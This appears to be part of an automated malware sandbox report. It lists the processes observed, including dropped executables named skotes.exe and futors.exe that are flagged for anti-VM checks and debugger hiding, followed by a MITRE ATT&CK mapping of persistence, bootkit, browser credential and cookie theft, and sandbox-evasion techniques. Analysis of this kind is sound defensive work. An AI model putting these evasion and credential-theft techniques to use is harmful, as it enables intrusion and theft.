C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2980 -ip 2980
1⤵
PID:1496

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1016 -ip 1016
1⤵
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4160 -ip 4160
1⤵
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5104 -ip 5104
1⤵
PID:4172

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5276 -ip 5276
1⤵
PID:1920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5928 -ip 5928
1⤵
PID:3988

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:4668

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:5336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1468 -ip 1468
1⤵
PID:5188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4372 -ip 4372
1⤵
PID:3032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5800 -ip 5800
1⤵
PID:5784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5044 -ip 5044
1⤵
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3032 -ip 3032
1⤵
PID:5340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion